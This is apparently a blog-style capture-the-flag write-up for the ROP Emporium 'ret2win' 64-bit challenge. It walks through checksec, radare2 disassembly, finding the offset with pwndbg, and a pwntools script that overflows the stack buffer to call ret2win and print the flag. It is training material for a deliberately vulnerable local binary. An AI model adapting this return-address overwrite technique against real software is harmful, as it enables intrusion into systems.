What is return oriented programming ?

Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.

In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

The tools i use

pwntools
pwndbg/gef
ropper/ROPgadget
radare2
vim/emacs-doom/sublime(favorite-text-editors)

The binary and challenge description can be found here ret2win

Lets run the binary and see what happens!

ret2win64 ➤ ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> jojijojoknkjg
Thank you!

Exiting
ret2win64 ➤

Mitigations in binaries

let’s checkout the binary mitigations first

ret2win64 ➤ checksec ret2win
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary is simple and efficient in both implementation and design. It is to insert a value. At the end of the high-risk area where stack overflow occurs, when the function returns, check if the value of canary has been changed to determine whether stack/buffer overflow occurs. In this case canary is disable as you can see.

PIE randomizes Code segment base address PIE randomizes GOT/PLT base address but PIE is disabled in this binary. so the addresses in the binary wont change.

And NX is enabled so we cant use shellcode to spawn a shell.

so what’s Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only. There are two RELRO “modes”: partial and full

To checkout binary mitigations in depth check this article binary-mitigation

Exploitation

Now lets checkout the functions and disassembly using radare2

ret2win64 ➤ r2 -AAA ret2win
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- No such file or directory.
[0x004005b0]> afl
0x004005b0    1 42           entry0
0x004005f0    4 42   -> 37   sym.deregister_tm_clones
0x00400620    4 58   -> 55   sym.register_tm_clones
0x00400660    3 34   -> 29   sym.__do_global_dtors_aux
0x00400690    1 7            entry.init0
0x004006e8    1 110          sym.pwnme
0x00400580    1 6            sym.imp.memset
0x00400550    1 6            sym.imp.puts
0x00400570    1 6            sym.imp.printf
0x00400590    1 6            sym.imp.read
0x00400756    1 27           sym.ret2win
0x00400560    1 6            sym.imp.system
0x004007f0    1 2            sym.__libc_csu_fini
0x004007f4    1 9            sym._fini
0x00400780    4 101          sym.__libc_csu_init
0x004005e0    1 2            sym._dl_relocate_static_pie
0x00400697    1 81           main
0x004005a0    1 6            sym.imp.setvbuf
0x00400528    3 23           sym._init

Now lets take a look at he main function to see what happens in there

[0x004005b0]> s main
[0x00400697]> pdf
            ; DATA XREF from entry0 @ 0x4005cd
┌ 81: int main (int argc, char **argv, char **envp);
│           0x00400697      55             push rbp
│           0x00400698      4889e5         mov rbp, rsp
│           0x0040069b      488b05b60920.  mov rax, qword [obj.stdout] ; obj.__TMC_END
│                                                                      ; [0x601058:8]=0
│           0x004006a2      b900000000     mov ecx, 0                  ; size_t size
│           0x004006a7      ba02000000     mov edx, 2                  ; int mode
│           0x004006ac      be00000000     mov esi, 0                  ; char *buf
│           0x004006b1      4889c7         mov rdi, rax                ; FILE*stream
│           0x004006b4      e8e7feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x004006b9      bf08084000     mov edi, str.ret2win_by_ROP_Emporium ; 0x400808 ; "ret2win by ROP Emporium" ; const char *s
│           0x004006be      e88dfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004006c3      bf20084000     mov edi, str.x86_64         ; 0x400820 ; "x86_64\n" ; const char *s
│           0x004006c8      e883feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004006cd      b800000000     mov eax, 0
│           0x004006d2      e811000000     call sym.pwnme
│           0x004006d7      bf28084000     mov edi, str.Exiting        ; 0x400828 ; "\nExiting" ; const char *s
│           0x004006dc      e86ffeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004006e1      b800000000     mov eax, 0
│           0x004006e6      5d             pop rbp
└           0x004006e7      c3             ret

The main function just prints the output we saw when we ran the binary and its calls a function named pwnme we know the pwnme function contains the vulnerable gets fucntions which we need to overflow

let’s checkout ret2win fucntion to see what it does

[0x00400756]> pdf
┌ 27: sym.ret2win ();
│           0x00400756      55             push rbp
│           0x00400757      4889e5         mov rbp, rsp
│           0x0040075a      bf26094000     mov edi, str.Well_done__Here_s_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
│           0x0040075f      e8ecfdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400764      bf43094000     mov edi, str.bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
│           0x00400769      e8f2fdffff     call sym.imp.system         ; int system(const char *string)
│           0x0040076e      90             nop
│           0x0040076f      5d             pop rbp
└           0x00400770      c3             ret
[0x00400756]>

Its prints the flag this is the exact thing we wanted to do!

Now lets find the offset that’ll be needed to overwrite the instruction pointer

for the pattern value we’ll use cyclic from pwntools to find the offset

ret2win64 ➤ cyclic  60
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
ret2win64 ➤ ./ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Thank you!
[1]    34640 segmentation fault (core dumped)  ./ret2win

Now on passing the pattern we get a segfault let’s do the same with pwndbg

ret2win64 ➤ pwndbg ./ret2win
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./ret2win...
(No debugging symbols found in ./ret2win)
pwndbg> break *main+80
Breakpoint 1 at 0x4006e7
pwndbg> r
Starting program: /home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────
 RAX  0xb
 RBX  0x0
 RCX  0x7ffff7ecaf67 (write+23) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x7ffff7f9f4f0 (_IO_stdfile_1_lock) ◂— 0x0
 RSI  0x7ffff7f9d5a3 (_IO_2_1_stdout_+131) ◂— 0xf9f4f0000000000a /* '\n' */
 R8   0xb
 R9   0x7ffff7fe14c0 (_dl_fini) ◂— endbr64
 R10  0xfffffffffffff8f9
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x6161616a61616169 ('iaaajaaa')
 RSP  0x7fffffffe8b8 ◂— 0x6161616c6161616b ('kaaalaaa')
 RIP  0x400755 (pwnme+109) ◂— ret
────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────
 ► 0x400755 <pwnme+109>    ret    <0x6161616c6161616b>










─────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe8b8 ◂— 0x6161616c6161616b ('kaaalaaa')
01:0008│      0x7fffffffe8c0 ◂— 0x6161616e6161616d ('maaanaaa')
02:0010│      0x7fffffffe8c8 —▸ 0x7ffff7e02152 (__libc_start_main+242) ◂— mov    edi, eax
03:0018│      0x7fffffffe8d0 —▸ 0x7fffffffe9b8 —▸ 0x7fffffffec2c ◂— '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
04:0020│      0x7fffffffe8d8 ◂— 0x1f7e01f73
05:0028│      0x7fffffffe8e0 —▸ 0x400697 (main) ◂— push   rbp
06:0030│      0x7fffffffe8e8 ◂— 0x400000000
07:0038│      0x7fffffffe8f0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
 ► f 0           400755 pwnme+109
   f 1 6161616c6161616b
   f 2 6161616e6161616d
   f 3     7ffff7e02152 __libc_start_main+242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/wx $rsp
0x7fffffffe8b8:	0x6161616b
pwndbg> q

Now lets find out the offset to overwrite the RIP

In [1]: from pwn import *

In [2]: cyclic_find(0x6161616b)
Out[2]: 40

Now we know the offset is 40 let’s craft our exploit but we notice there’s actually a hint give the webpage saying

It's worth confirming this before each challenge but typically you'll need 40 bytes of garbage to reach the saved return address in the 64bit binaries, 44 bytes in the 32bit binaries
#!/usr/bin/env python3 
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./ret2win')
io = process(exe.path)
payload = flat([cyclic(40), exe.sym['ret2win']])
io.sendline(payload)
io.interactive()

so now we run the exploit to check if it works :)

ret2win64 ➤ ./exploit
[*] '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/h4x5p4c3/Documents/pwn/rop_emporium/0-ret2win/ret2win64/ret2win': pid 23220
[*] Switching to interactive mode
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

yea we got our flag. So on the next post we’ll not cover how to find the offset and we did in this one